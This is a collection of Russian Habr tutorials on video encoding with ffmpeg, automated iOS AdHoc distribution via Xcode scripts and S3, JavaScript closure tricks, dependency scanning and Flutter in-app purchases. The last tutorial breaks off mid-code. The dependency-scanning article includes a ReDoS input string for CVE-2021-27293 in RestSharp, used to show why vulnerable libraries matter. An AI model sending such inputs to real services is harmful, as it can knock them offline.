Есть отличное [исследование](https://www.wiggler.gr/2012/02/27/bt-601-and-bt-709-compatibility/) от 2012г. на эту тему. К сожалению, ситуация с подобными багами меняется очень медленно, и, хоть некоторые из результатов тестов из той статьи уже неактуальны, такие особенности всё ещё нужно учитывать. Есть шанс, что вы всё это время смотрели видео с неправильными цветами — и, оказывается, это не было режиссёрским решением.
Проблема известна для H264 декодеров, у других форматов этой проблемы может и не быть.
### Фреймрейт
Если ваш источник — не стримы игр или экшн-видео, то имеет смысл ограничить верхнее значение фреймрейта 25-30 кадрами — чем их меньше, тем больше остаётся данных для описания отдельного кадра. Уменьшать это значение лучше кратно — так, чтобы пропуск кадров был равномерным, иначе от видео может возникнуть ощущение подтормаживания.
Есть ещё такая вещь, как переменная частота кадров. Работать с VFR неудобно по двум причинам: во-первых, это даёт пики битрейта на участках с высокой частотой, которые мгновенно опустошают буфер; во-вторых, VFR усложняет составление плана конвертации, заставляя использовать Q-параметры (о них я писал в первой статье).
### GOP size
Группы изображений — блоки, в пределах которых одни изображения могут ссылаться на данные других. Увеличение размера GOP повышает эффективность кодека в обмен на повышение требований к памяти. Большие значения особо эффективны для файлов с однотипными, циклическими движениями (вы же понимаете, о чём я). Также, при больших значениях могут возникнуть проблемы с перемоткой видео, т.к. нужно будет восстановить больший объём данных.
Название параметра, также, как и единицы измерения, могут отличаться от кодека к кодеку — смотрите документацию.
### Slices
Для ускорения декодирования (и кодирования) видео можно разделить на части более низкого разрешения. Идея в том, что обработать четыре видео с разрешением, например, 1280x720 проще, чем одно, но 2560x1440. Имеет смысл при разрешениях выше FHD. Чем больше частей, тем ниже эффективность кодека. Также, использование такого разделения упрощает многопоточную обработку.
### Анаморфные пиксели
Прямоугольные пиксели появляются тогда, когда соотношение сторон и отношение пиксельной ширины к высоте отличаются — широкоформатные DVD, где 16:9 видео имеет разрешение 704×480 (3:2 с аналоговым НДС и поправкой на ветер). Проигрывание таких видео проблем не вызовет, однако при кодировании нужно учитывать одновременно и разрешение и соотношение сторон, иначе легко преобразовать анаморфные либо в стандартные квадратные пиксели с потерей эффективности (до ~35%!), либо вообще получить что-то сплющенное по горизонтали.
### Контроль битрейта
Есть три основных режима работы кодеков, связанных с битрейтом:
* постоянный битрейт, CBR, когда качество падает пропорционально сложности сцены;
* постоянное качество, const Q VBR, когда пропорционально сложности сцены растёт битрейт;
* ограниченные битрейт и качество — классический VBR.
Стоит отметить, что большинство программ-кодировщиков (включая ffmpeg) при задании какого-то битрейта не переводят кодеки в режим CBR — файлы делаются VBR, с не всегда определёнными в документации ограничениями (CBR режим включается, обычно, заданием одинаковых minrate и maxrate).
Для онлайн проигрывания (да и для стриминга) хорошо подходит constrained VBR, т.к. он даёт лучшее, чем CBR, качество и позволяет уместить поток в интернет-канал.
Выбор maxrate/minrate зависит от канала клиента, разброс больше 20% лучше не делать.
### Многопроходное кодирование
Распределение данных по файлу в VBR-режиме предсказать сложно, кодекам приходится угадывать, что получается не всегда. В многопроходном режиме кодек сперва составляет карту требующегося битрейта, а потом кодирует. Таким способом улучшается качество видео в сложных и динамических сценах ([пример](http://btoa.tk/?show=view&id=7i9j9lc#t=30). Обратите внимание на количество «муарных» элементов и количество переходов между сценами). Так как при первом проходе кодек только анализирует исходный файл, вопреки распространённому мнению, обработка в таком режиме требует времени больше не в два раза, а только на 10-15%.
### -tune
Для разных типов исходного материала подготовлено несколько пресетов, подстраивающих некоторые базовые параметры кодирования — такие, как уровни деблокинг-филитра, параметры психовизуальной оптимизации. Использование этих пресетов улучшает восприятие видео и хорошо работает, если вы заранее знаете тип источника, или у вас структурированный набор видео (в случае массовой обработки).
Пресеты:
* film — для фильмов и всего со сложной структурой кадра. [Это](http://policat.tk/?show=view&id=cxoh9lu#t=30) — однозначно film;
* animation — для видео с большими однотонными областями. То есть, [это](http://btoa.tk/?show=view&id=tjdf5jt) лучше кодировать с пресетом animation, а [это](http://btoa.tk/?show=view&id=wnoxh7n) — film, несмотря на то, что анимация;
* stillimage — для видео, где почти нет движения; хорошая оптимизация для тех песен в формате mp4, где в течение всего видео фоном — обложка альбома (кто-нибудь, скажите им, что даже flac на 10 минут не может весить 300MB!);
* grain — для кодирования «шумных» источников, вроде камер наблюдения;
* psnr/ssim — для оценки эффективности остальных параметров кодека;
* fastdecode — форсированный main-профиль для слабых устройств;
* zerolatency — как и следует из названия, для стриминга с низкой задержкой.
### Формат пикселей
Формат и битность сильно влияют на то, как сжимаются и разжимаются файлы, в каком виде теряется качество. Основные параметры, которые описывает пиксельный формат:
* способ разложения цвета на компоненты — YUV, RGB;
* параметры цветовой субдискретизации (о как! chroma subsampling привычнее), когда некоторые цветовые компоненты сохраняются с меньшим разрешением;
* глубина цветовых компонентов в битах.
Осознанный выбор пиксельного формата требует отдельного анализа, сбора материала и сильно зависит от типа исходного материала.
Кратко:
* не все кодеки (и, главное, декодеры) поддерживают возможные форматы;
* работа с некоторыми форматами требовательнее к ресурсам — Hi10P отличается от просто high-профиля именно этим;
* работа с субдискретизированными форматами может дать заметное повышение эффективности сжатия, однако регулировать потери качества сложнее.
### Чересстрочность
Чересстрочность придумали для удвоения воспринимаемой частоты кадров минимальными затратами — битрейт и разрешение те же, а частота выше. Однако, при быстром движении становятся заметны зубцы — строки предыдущего кадра. Избавиться от эффекта, не отбрасывая кадры и не уменьшая вертикальное разрешение, можно фильтрами, но они уменьшат чёткость. Если видео будет проигрываться в браузере, чересстрочность лучше отфильтровать при кодировании, т.к. реалтайм-фильтрация на клиенте даст не лучшие визуальные результаты.
### Собираем всё вместе
Пример для x264:
```
ffmpeg -i [источник]
-c:v libx264
-b:v [bitrate] #целевой битрейт
-maxrate [bitrate] #настраиваем девиацию битрейта
-r [framerate]
-g [size] #GOP в кадрах
-aspect [соотношение, например 16:9] #если исходник анаморфный
-profile high #самый простой способ включить CABAC
-color_primaries bt709 #отдельно задаём цветовое пространство, не полагаясь на кодек
-color_trc bt709
-colorspace bt709
-slices 4 #кодируем отдельными блоками низкого разрешения
-threads 4
-tune [value]
-map_metadata:g -1 #очищаем метаданные, онлайн они нам не нужны
-map_metadata:s:v -1
-map_metadata:s:a -1
-map_chapters -1
-pass [1|2] #при многопроходном кодировании
-passlogfile [file] #если обрабатываете файлы параллельно
#-map ... -a:c ... -ac ... -a:b ..., фильтры, разрешения - по вкусу
[назначение]
```
Разумеется, в одной статье всё охватить не получилось, но уверен, этого материала будет достаточно для улучшения качества многих видео.
Читайте документацию и экспериментируйте.
Материалы:
[ffmpeg.org/ffmpeg-all.html](https://ffmpeg.org/ffmpeg-all.html)
[en.wikipedia.org/wiki/H.264/MPEG-4\_AVC#Profiles](https://en.wikipedia.org/wiki/H.264/MPEG-4_AVC#Profiles)
[en.wikipedia.org/wiki/Chroma\_subsampling](https://en.wikipedia.org/wiki/Chroma_subsampling)
[en.wikipedia.org/wiki/Color\_space](https://en.wikipedia.org/wiki/Color_space)
[en.wikipedia.org/wiki/YUV](https://en.wikipedia.org/wiki/YUV)
В дополнение к [примеру](http://policat.tk/) из прошлой статьи, я узнал о ещё одной инсталяции моего кода — [клик](http://btoa.tk/). Примеры в статье постарался брать с этих сайтов, но не смотря на это:
\*Я не имею прямого отношения к авторам упоминаемых сайтов и могу не разделять их взгляды и мнение. Решения о том, кому и как предоставляется доступ к коду я комментировать не могу.
Готов ответить на вопросы. | https://habr.com/ru/post/437936/ | null | ru | null |
# Автоматизация выдачи AdHoc сборки приложения из Xcode для установки на девайс заказчика
Поясню для начинающих, что при разработке под iOS для установки на девайс большую часть времени вы собираете приложение в development режиме, т.е. только для себя.
Но в какой-то момент требуется начинать выдавать заказчику результат работы на «посмотреть».
Для этого используется особый вид сборки AdHoc Distribution. Нужно сходить к Apple'у и создать distribution provisioning profile. После чего собирать приложение, подписывая его этим профилем. В профиле прописываются все идентификаторы девайсов, на которые планируется это приложение устанавливать на этом этапе. В итоге при билде под AdHoc, XСode создает файл с расширением .ipa, который уже можно установить на все, прописанные в профиле, девайсы. Например через iTunes.
Возникает вопрос как лучше всего передать вашему клиенту получившуюся сборку. Да, можно просто отправить файл по почте например, или выложить на файлообменник и пусть бедняга сам устанавливает его через iTunes на свой девайс. Но если вы цените время своего клиента или вам лень объяснять ему как это сделать, ну или вы просто милый и приятный человек, то вам стоит задуматься, а нет ли другого, более удобного способа.
Об одном из таких способов, с автоматизацией выдачи из Xcode читаем под катом!
На этой стезе уже давно промышляет достаточно прихлебателей, которые, надо признать довольно не плохо справляются с этой задачей. Одним из заслуженных сервисов является например TestFlight. Суть в том что они дают возможность вашему клиенту (или бета тестерам) установить ваше приложение через их сервис. Для этого все бета тестеры должны установить на свои девайсы их приложение. И в дальнейшем, когда они получают по почте уведомление о выходе очередной вашей сборки — они запускают это приложение, находят там ваше обновленние и устанавливают его себе через их интерфейс.
Но и эта схема, я бы сказал, не идеальна.
Во-первых это подразумевает что вам все равно придется объяснять заказчику как ему зарегистрироваться в TestFlight, как установить их приложение себе (его нет в AppStore, установка происходит с их сайта).
Так же в этом случае мы не упрощаем себе жизнь на своей стороне — каждый раз нужно сначала собрать очередной AdHoc билд в Xcode, затем в его окне Organizer выбрать опцию AdHoc distribution, указать правильный профиль и сохранить .ipa файл на диск. Затем зайти на сайт TestFlight, и залить туда этот .ipa, написать комментарий, не забыть выставить разрешения для тех кому этот билд предназначен. Очень, очень много телодвижений.
К тому же часто сервис бывает не доступен, или просто скорость загрузки такова, что процесс установки приложения сваливается по таймауту.
Особенно не приятно бывает слышать от заказчика, что ваше приложение почему-то не устанавливается, когда ты точно знаешь что это не так, и ты проверил загрузку из TestFlight сам.
В итоге для меня последней каплей стал тот факт что они пока что не поддерживают установку на iOS7, под которую мы ведем разработку нашего последнего проекта.
И тогда мы пришли к решению, которое оказалось проще для обеих сторон.
Сейчас вся вышеописанная процедура сводится к двум шагам. Я, как и раньше, выбираю в Xcode archive build (так обычно собираются сборки под AdHoc). После чего пишу заказчику что приложение обновлено. Все.
Теперь заказчик просто заходит со своего девайса по определенному адресу в интернете (адрес не меняется и он может сохранить его в закладки). У него появляется всплывающее окно — не хотите ли установить приложение, он конечно же хочет, приложение устанавливается. Все счастливы.
И вот что нужно сделать, чтобы прийти к этой нирване.
### Магия установки приложений через мобильный браузер.
Сначала немного о той магии, которая позволяет устанавливать приложения по URL.
Это уже давным давно существующая возможность, и на ней собственно и основаны все эти сервисы аля TestFlight.
Есть такой протокол **itms-services:**, с помощью которого на iOS в частности осуществляется установка приложений из браузера. Протокол подразумевает что будет загружен .plist файл c определенной структурой, где, в том числе, указана и ссылка на .ipa файл. В результате это обрабатывается iOS как запрос на установку приложения.
Т.е. нам первым делом понадобится создать какую-нибудь простенькую (или не очень, как хотите) HTML страницу. Рядом положить наш волшебный .plist файл и .ipa билд.
Здесь я подразумеваю что для такого хранения используется Amazon S3 хранилище. Завести свой аккаунт на [Amazon Web Services](http://aws.amazon.com) проще простого и я не буду здесь это описывать. Хранение и раздача таких мизерных объемов выйдет вам в какие-то копейки, которые мне лениво подсчитывать здесь, сейчас не об этом.
Итак создаем наши файлы, вот так может выглядеть наш HTML. Назовем его, скажем index.html. Главное чтобы в нем были ссылки по **itms-services:** протоколу
```
My Ad-Hoc Distribution Site
li{font-size:60pt margin:20px 0}
* [Установить мое приложение MyApp1](itms-services://?action=download-manifest&url=http://mybucketname.s3.amazonaws.com/MyApp1.plist)
* [Установить мое другое приложение MyApp2](itms-services://?action=download-manifest&url=http://mybucketname.s3.amazonaws.com/MyApp2.plist)
```
Как видите, здесь внедрен список, потому что мы не хотим ограничиваться только одним приложением, у нас их будет несколько. И каждое из них устанавливается по отдельной ссылке.
В самом адресе **itms-services://...** нужно изменить только **mybucketname** и название .plist файла. Т.е. замените их соответственно на название своего bucket на Amazon S3, куда вы все это сложите, и на имя вашего .plist (имя файла не имеет никакого значения и может не совпадать с названием приложения).
Сам .plist выглядит вот так:
```
xml version="1.0" encoding="UTF-8"?
items
assets
kind
software-package
url
http://mybucketname.s3.amazonaws.com/MyApp1.ipa
metadata
bundle-identifier
com.mycoolcompanyname.myapp1
bundle-version
1.0
kind
software
title
MyApp1
```
Понятное дело, здесь тоже нужно заменить название **mybucketname** в строке ключа **software-package**. И указать ваше название .ipa файла вместо MyApp1.ipa. И не забудьте поменять строку ключа **bundle-identifier**. Вместо **com.mycoolcompanyname.myapp1** впишите свой bundle id, который вы использовали при билде этого приложения в Xcode.
Ну и укажите желаемое имя приложения в ключе **title**.
Отлично! Уже теперь вы можете собирать приложение под AdHoc distribution и ручками выкладываеть его на S3 в этот bucket. После чего его можно будет установить по ссылке **[mybucketname.s3.amazonaws.com/index.html](http://mybucketname.s3.amazonaws.com/index.html)** открыв ее в мобильном браузере.
Кстати для ручной заливки на S3 рекомендую приложение CyberDuck. Сам остановился на нем, как на наиболее удобном варианте под MacOs.
Одна важная деталь, не забывайте выставлять права доступа к .ipa файлу на public-read. В CyberDuck это делается правой кнопкой на файле > Info и добавить группу Everybody с правами Read.
Но этот вариант тоже не для ленивых, поэтому идем дальше.
### Автоматизация в Xcode. Пишем post-actions скрипт.
Чтобы уж совсем ничего не пришлось делать мы напишем маленький скрипт.
В Xcode существует возможность напихивать свои скрипты практически во все этапы при сборке приложения.
Нас, в данном случае, интересует только сборка в архив (именно так мы всегда собираем приложение для AdHoc Distribution).
Поэтому добавим post-action на завершающем этапе для этой схемы.
Заходим в Xcode, открываем диалог редактирования схем. Далее будет несколько поясняющих скриншотов. Они сделаны в beta версии Xcode 5, но Xcode 4.6 эта возможность тоже присутствует, и интерфейс в этой части практически не отличается.
Итак кликаем название вашего таргета в том месте где оно указано в левой верхней части главного окна Xcode. В появившемся диалоге выбираем пункт Edit Scheme…
В диалоге редактирования схем находим схему Arhive и кликаем маленький треугольник рядом с ее названием, развернутся несколько подпунктов. Последний из них и будет нужный нам Post-actions.
В выпадушке в этом окне выберите название вашего таргета. Это означает что все переменные в скрипте, вроде ${PRODUCT\_NAME} например, будут браться соответствующие ему.
Вот такой скипт используем мы:
```
SIGNING_IDENTITY="iPhone Distribution: MyCoolCompanyName (G4DHGXDY2)"
PROVISIONING_PROFILE="${HOME}/Library/MobileDevice/Provisioning Profiles/20DB9849-4CFE-4005-81F6-1A594119839B.mobileprovision"
LOG="/tmp/post-build-upload-to-s3.log"
DATE=$( /bin/date +"%Y-%m-%d" )
ARCHIVE=$( /bin/ls -t "${HOME}/Library/Developer/Xcode/Archives/${DATE}" | /usr/bin/grep xcarchive | /usr/bin/sed -n 1p )
DSYM="${HOME}/Library/Developer/Xcode/Archives/${DATE}/${ARCHIVE}/dSYMs/${PRODUCT_NAME}.app.dSYM"
APP="${HOME}/Library/Developer/Xcode/Archives/${DATE}/${ARCHIVE}/Products/Applications/${PRODUCT_NAME}.app"
/usr/bin/open -a /Applications/Utilities/Console.app $LOG
echo -n "Creating .ipa for ${PRODUCT_NAME}... " > $LOG
/bin/rm "/tmp/${PRODUCT_NAME}.ipa"
/usr/bin/xcrun -sdk iphoneos PackageApplication "${APP}" -o "/tmp/${PRODUCT_NAME}.ipa" --sign "${SIGNING_IDENTITY}" --embed "${PROVISIONING_PROFILE}" >> $LOG
echo "Created .ipa for ${PRODUCT_NAME}" >> $LOG
echo -n "Uploading to S3... " >> $LOG
/opt/local/bin/s3cmd put --acl-public --force --guess-mime-type /tmp/${PRODUCT_NAME}.ipa "s3://mybucketname/MyApp.ipa" >> $LOG
echo "Done." >> $LOG
/usr/bin/open "https://basecamp.com/path-to-your-project-to-let-people-know-of-new-build"
```
Итак в открывшемся окне видим /bin/sh в первой строке ввода. Оставляем там это значение.
В пустое поле внизу копипастим этот скрипт.
Теперь нам предстоит отредактировать пару значений в нем под вашу конфигурацию. А именно, надо прописать правильное значение в переменную SIGNING\_IDENTITY и прописать правильную ссылку на ваш текущий provisioning profile в переменной PROVISIONING\_PROFILE.
Я делаю это так. Cохраняемся здесь — жмем OK внизу, выходим в Build Settings проекта и находим там раздел Code Signing Identity.
В нем есть все нужные значения. Но «услужливый» Xcode показывает их в человеко-читаемом виде и к тому же не дает выделять прямо там.
Кликаем правой кнопкой на название вашего signing identity (что-то вроде iPhone Distribution:...). Откроется поп-ап, в котором в самом низу будет опция Other… Выбираем ее и вот он весь наш набор параметров в текстовом виде и даже заботливо выделен.
В предыдущих версиях Xcode это выглядело примерно вот так:
```
iPhone Distribution: MyCoolCompanyName (G4DHGXDY2)
20DB9849-4CFE-4005-81F6-1A594119839B
```
Соответственно первая строка вписывается в переменную SIGNING\_IDENTITY в скрипте.
А вторая — это код вашего профиля — просто замените им выделенную часть в адресе для переменной PROVISIONING\_PROFILE, как показано ниже.
PROVISIONING\_PROFILE="${HOME}/Library/MobileDevice/Provisioning Profiles/**20DB9849-4CFE-4005-81F6-1A594119839B**.mobileprovision"
В новом Xcode 5 — эти два значения разнесены на отдельные записи в секции Code Signing Identity. Поэтому то же действие нужно проделать два раза. Сначала скопировать название identity, затем код для provisioning profile.
Как видим, скрипт выполняет два простых действия. Сначала получившийся в результате сборки .app файл превращает в .ipa. Затем этот .ipa заливает на S3. В процессе работы скрипта так же создается .log файл куда пишется все что происходит. Этот .log файл кладется во временную папку (туда же куда и .ipa) и открывается системной утилитой Console чтобы мы могли видеть ход выполнения скрипта.
Осталась только одна тайна — как же работает заливка на S3.
### Заливаем сборку на Amazon S3 с помощью скрипта
На самом деле не совсем, не будем мараться с ручной заливкой на S3, это хлопотно, воспользуемся для этого готовой утилиткой ([S3cmd](http://s3tools.org/s3cmd)).
Мы с вами на маке, поэтому ставим ее через [MacPorts](http://www.macports.org/install.php). Кто не в курсе, это инструмент, который позволяет ставить на мак всякие не присущие ему линуксовые изыски. Если у вас не установлен MacPorts — ставим по одной из ссылок для вашей версии MacOS ([Mountain Lion](https://distfiles.macports.org/MacPorts/MacPorts-2.2.0-10.8-MountainLion.pkg), [Lion](https://distfiles.macports.org/MacPorts/MacPorts-2.2.0-10.7-Lion.pkg) или [Snow Leopard](https://distfiles.macports.org/MacPorts/MacPorts-2.2.0-10.6-SnowLeopard.pkg)).
Далее ставим саму утилиту s3cmd. С MacPorts это делается предельно просто.
В терминале набираем:
```
sudo port install s3cmd
```
Появится запрос ввести пароль, введите пароль администратора и начнется установка. Она занимает около минуты.
Все, утилита установлена, теперь давайте ей скажем наш пароль от S3 (когда вы регистрируетесь на [Amazon Web Services](http://aws.amazon.com)) вам дадут ключ и секретный код (не спрашивайте в чем разница между этими двумя понятиями, но нужны оба).
Итак набираем в терминале:
```
s3cmd --configure
```
и нас попросят ответить на несколько вопросов касаемо нашей желаемой конфигурации, в том числе попросят ввести ключ и секретный код.
Например это выглядит вот так:
```
Enter new values or accept defaults in brackets with Enter.
Refer to user manual for detailed description of all options.
Access key and Secret key are your identifiers for Amazon S3
Access Key: XXXXXздесь должен быть ваш ключXXX
Secret Key: YYYYздесь должен быть ваш секретYYY
Encryption password is used to protect your files from reading
by unauthorized persons while in transfer to S3
Encryption password:
Path to GPG program:
When using secure HTTPS protocol all communication with Amazon S3
servers is protected from 3rd party eavesdropping. This method is
slower than plain HTTP and can't be used if you're behind a proxy
Use HTTPS protocol [No]: No
On some networks all internet access must go through a HTTP proxy.
Try setting it here if you can't conect to S3 directly
HTTP Proxy server name:
New settings:
Access Key: XXXXXпоказывают снова ваш ключXXX
Secret Key: YYYYпоказывают снова ваш секретYYY
Encryption password:
Path to GPG program: None
Use HTTPS protocol: False
HTTP Proxy server name:
HTTP Proxy server port: 0
Test access with supplied credentials? [Y/n] Y
Please wait...
Success. Your access key and secret key worked fine :-)
Now verifying that encryption works...
Not configured. Never mind.
Save settings? [y/N] y
Configuration saved to '/Users/st/.s3cfg'
```
Ну вот и все, теперь в скрипте нужно только поправить название вашего S3 bucket и название приложения в строке:
/opt/local/bin/s3cmd put --acl-public --force --guess-mime-type /tmp/${PRODUCT\_NAME}.ipa «s3://**mybucketname**/**MyApp**.ipa» >> $LOG
После чего — можно просто запустить билд под archive (Xcode > Product > Archive) и все должно работать. Ваше приложение окажется залитым по указанному адресу. | https://habr.com/ru/post/190296/ | null | ru | null |
# Извлечение ссылки на объект из замыкания
```
var singleton = (function () {
var data, method_args;
data = [];
method_args = [];
function add (items) {
var i;
data.push(items);
method_args.push(arguments);
}
function remove () {
data.pop();
method_args.push(arguments);
}
return {
add : add,
remove : remove
}
}());
```
Есть доступ к объекту *singleton*.
Публичные методы синглтона (он приведен как пример, и ценность составляет создаваемое при его инициализации замыкание) вызывают методы массива, который хотелось бы достать. В этих методах *this* ссылается на вожделенный массив. Значит до него можно добраться через *this*.
Если бы не было *method\_args.push*, то можно было бы обойтись переопределением *Array.prototype.push* (с обязательным возвратом все на свои места после «кражи» объекта).
```
var original_push,
data;
// запоминаем как было
original_push = Array.prototype.push;
// подставляем фальшивый метод
Array.prototype.push = function () {
// извлекаем ссылку
data = this;
};
// запускаем фальшивый метод
singleton.add();
// возвращаем все на свои места
Array.prototype.push = original_push;
// массив в наших руках
console.log(data);
```
Однако *push* используется не единожды. Разовое невыполнение метода может повлечь за собой поломку. А этого не хочется. Хочется ссылку на массив. Значит переписать код выше, сохраняя стандартную логику работы. Создаем новый метод push, который умен достаточно, чтобы взять ссылку *this* только при первом вызове, и может имитировать поведение по умолчанию.
```
var original_push,
fake_method_calls,
data;
// запоминаем как было
original_push = Array.prototype.push;
// считаем
fake_method_calls = 0;
// подставляем фальшивый метод
Array.prototype.push = function () {
// запоминаем this только для первого вызова
if (fake_method_calls === 0) {
data = this;
}
fake_method_calls += 1;
// стандартная логика
return original_push.apply(this, arguments);
}
// запускаем фальшивый метод
singleton.add();
// возвращаем все на свои места
Array.prototype.push = original_push;
// массив в наших руках
console.log(data);
```
Вуаля: овцы целы (стандартная логика не нарушена) и волки сыты (ссылка в руках). | https://habr.com/ru/post/143288/ | null | ru | null |
# Чем опасны уязвимые зависимости в проекте и как с этим помогает SCA?
Современные приложения почти всегда используют сторонние библиотеки. Если библиотека содержит уязвимость, то уязвимым может оказаться и использующее её приложение. Но как определить наличие таких проблемных зависимостей?
### Чем опасны уязвимости в компонентах?
Допустим, у нас есть простейшее веб-приложение, использующее [RestSharp](https://restsharp.dev/) – достаточно известный клиент для работы с REST API.
Наше приложение принимает какие-то данные в JSON-формате. Для простоты предположим, что обработчик получает строку даты и разбирает её при помощи метода расширения из RestSharp:
```
[HttpPost]
public IActionResult Index(string jsonDate)
{
DateTime dateTime = jsonDate.ParseJsonDate(CultureInfo.InvariantCulture);
// do something
return View();
}
```
По идее, самое страшное, что может случиться – получение в *jsonDate* строки, в которой дата будет записана в некорректном формате. Однако ничего ужасного не произойдёт:
* в объект *dateTime* будет записано значение по умолчанию;
* далее в коде оно как-нибудь по-особому будет обработано;
* отправитель получит ответ.
Получается, что этот код безопасен?
Ответ зависит от версии библиотеки RestSharp. Если она меньше 106.11.7, то библиотека уязвима к [ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) атакам ([CVE-2021-27293](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-27293)). Но что с того?
Дело в том, что наш обработчик запроса использует функцию *ParseJsonDate*, которая в свою очередь использует уязвимое регулярное выражение. Следовательно, **наше** **приложение также уязвимо к ReDoS атакам**.
Для подтверждения я запустил созданное приложение у себя на компьютере и быстро вручную отправил ему из браузера 10-15 запросов. В качестве JSON-даты я передавал приложению следующую строку:
```
new Date(000000000000000000000000000000000000000000000000000000000000000000
```
Одновременно с этим я с помощью Process Hacker следил за тем, как веб-сервис потребляет ресурсы моей машины:
Я бы с радостью отправил ещё десяток запросов, но у меня завис браузер :(.
Давайте вернёмся к коду:
```
[HttpPost]
public IActionResult Index(string jsonDate)
{
DateTime dateTime = jsonDate.ParseJsonDate(CultureInfo.InvariantCulture);
// do something
return View();
}
```
Повторюсь, выглядит вполне безобидно, не так ли? Но если подобный код есть в реальном веб-приложении, то его точно так же можно атаковать, перегрузив сервер бессмысленной работой. Конечно, если используется уязвимая версия RestSharp.
Ладно, с RestSharp разобрались — скорее обновляем до последней версии. Теперь приложение в безопасности?
Ну как сказать... Одна зависимость теперь безопасна. А безопасны ли другие?
### Как узнать, есть ли у проекта уязвимые компоненты?
Решением задачи поиска проблемных компонентов в приложении занимаются SCA-решения (Software Composition Analysis). Изначально это направление было посвящено поиску компонентов с потенциально проблемными условиями лицензирования, но со временем оно серьёзно расширилось. Сейчас одной из его важнейших составляющих как раз и является поиск уязвимых компонентов.
Если проект зависит от чего-то небезопасного, то SCA-решение может отобразить сообщение по типу следующего:
Referenced package RestSharp 106.11.5 contains vulnerability according to CVE-2021-27293: Incorrect Regular Expression in RestSharp.
Современный рынок предлагает множество решений, производящих анализ зависимостей. Некоторые подобные инструменты также реализуют функционал SAST (статическое тестирование защищённости приложения). Это позволяет искать потенциальные уязвимости к атакам вроде XXE, SQL injection, XSS и т.д. Такое совмещение позволяет одновременно диагностировать наличие проблем и в исходном коде, и в зависимостях.
Если вы программируете на C#, можете попробовать PVS-Studio: анализатор сочетает возможности SAST и SCA. Загрузить триал можно [здесь](https://pvs-studio.com/pvs-studio/try-free/?utm_source=habr&utm_medium=articles&utm_content=sca&utm_term=link_try-free). Чтобы искать дефекты безопасности, [включите](https://pvs-studio.com/ru/docs/manual/6536/) OWASP-диагностики (уязвимые зависимости ищет диагностика V5625).
Для прочих языков вам могут подойти другие инструменты. Ниже перечислены наиболее популярные из них:
* [Mend](https://www.mend.io/) (ранее WhiteSource) – мощное решение от компании WhiteSource. Оно позволяет проверять безопасность кода (Mend SAST) и зависимостей (Mend SCA).
* [Black Duck](https://www.synopsys.com/software-integrity/security-testing/software-composition-analysis.html) – это один из основных продуктов компании Synopsys. Он ориентирован именно на проверку зависимостей, хотя у этой компании есть и инструмент для статического анализа безопасности – Coverity.
* Компания [Veracode](https://www.veracode.com/) также предоставляет популярные решения для проверки зависимостей и кода на предмет наличия дефектов безопасности: Veracode Static Analysis (SAST) и Veracode Software Composition Analysis (SCA).
### Выводы
Приложение может оказаться уязвимым даже в том случае, если с его кодом всё в порядке. Проблемы в зависимостях найти непросто, а влияние этих проблем на работу приложения может быть огромно.
Средства SCA не являются абсолютной защитой от проблем подобного рода, однако они определённо являются хорошим помощником. Как минимум, искать проблемные компоненты с ними куда проще, чем вручную :).
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Nikita Lipilin. [The risks of using vulnerable dependencies in your project, and how SCA helps manage them](https://pvs-studio.com/en/blog/posts/csharp/0987/). | https://habr.com/ru/post/686746/ | null | ru | null |
# Flutter + In-App Purchases
Привет, меня зовут Алексей. Сегодня я расскажу про внедрение внутренних покупок в мобильное приложение на [Flutter](https://flutter.dev/) с помощью [плагина In-App Purchase](https://pub.dev/packages/in_app_purchase).
Сначала расскажу немного о самих предметах которые мы можем продавать чтоб потом не было вопросов.
Есть 3 типа платного контента:
1. Расходуемые предметы (монеты, кристаллы, патроны и тп).
2. Нерасходуемые предметы (аватары, костюмы, и тп. т.е. все то что можно купить только один раз).
3. Подписки (ну тут все и так понятно).
Настройка iOS
-------------
Можете начать работу с изучения [офф документации эпл](https://developer.apple.com/in-app-purchase/), но она максимально не понятна для меня, поэтому я расскажу что надо сделать из своего опыта)
Первым делом идем в [AppstoreConnect](https://appstoreconnect.apple.com/), там в верхнем меню выбираем [agreements(Соглашения)](https://appstoreconnect.apple.com/agreements/#/) и принимаем соглашение о "Платных приложениях и покупках в них". п.с. соглашение может принять только владелец аккаунта!
Далее мы едем на страницу приложения в сторе и в боковом меню выбираем пункт In-App Purchases или Subscriptions в зависимости от того какой продукт мы хотим продавать.
Я буду показывать на примере монет.
Выбираем пункт In-App Purchases и в открывшемся окне нажимаем + и видим такую картину.
> Type - это расходуемый или нерасходуемый материал
> Name - название отображаемое именно в AppStoreConnect
> Id - уникальный идентификатор продукта для этого приложения
>
>
Нажимаем создать и видим окно с нашим продуктом, теперь нам надо добавить цену и названия отображаемое в самом приложении.
По цене ничего сложного просто в этом поле из дропдауна выбираем нужную и все (если надо можно добавить скидку на определенный период нажав + в этом поле)
Теперь переводы и названия нажимаем добавить локализацию
Видим такое меню
> **Localization - ну собственно для какого языка перевод
> Display Name - это поле мы потом получим в нашем приложении как название
> Description - это поле мы потом получим в нашем приложении как описание продукта**
>
>
Все далее нажимаем сохранить в верхнем правом углу и готово мы создали наш продукт!
Можем повтотрить все действия и добавить нужные нам предметы!
Настройка Android
-----------------
Все тоже самое что и для iOS только проще )
Заходим на <https://play.google.com/console/> выбираем нужное приложение далее в правом меню выбираем продукты->продукты в приложении и нажимаем создать новый продукт.
В открывшемся окне вводим ID нового продукта, название ,описание, и устанавливаем цену.
Все! На этом со сторами мы закончили.
Настройка самого приложения
---------------------------
Для начала установим пакет для платежей
```
flutter pub add in_app_purchase
```
Далее создадим сервис который будет обрабатывать все наши манипуляции со стором
и добавим в него все необходимое.
```
class InAppPurchaseService {
final InAppPurchase _inAppPurchase = InAppPurchase.instance;
final Stream> \_storeSubscription =
InAppPurchase.instance.purchaseStream;
InAppPurchase get instance => \_inAppPurchase;
}
```
Также нам нужно создать списки с айдиншиками наших объектов в сторе чтобы запрашивать их из стора.
```
static const Set coins = {
'70\_coins',
'350\_coins',
'700\_coins',
'1400\_coins',
'3500\_coins',
'7000\_coins',
'17500\_coins',
};
```
Далее добавим метод для получения продуктов из стора
```
Future> getProductsByType(StoreItemType type) async {
final Set productsIds;
switch (type) {
case StoreItemType.coins:
productsIds = StoreProductsIds.coins;
break;
case StoreItemType.subscription:
productsIds = StoreProductsIds.subscriptions;
break;
}
final bool isAvailable = await \_inAppPurchase.isAvailable();
if (!isAvailable) {
return [];
}
final ProductDetailsResponse productDetailResponse =
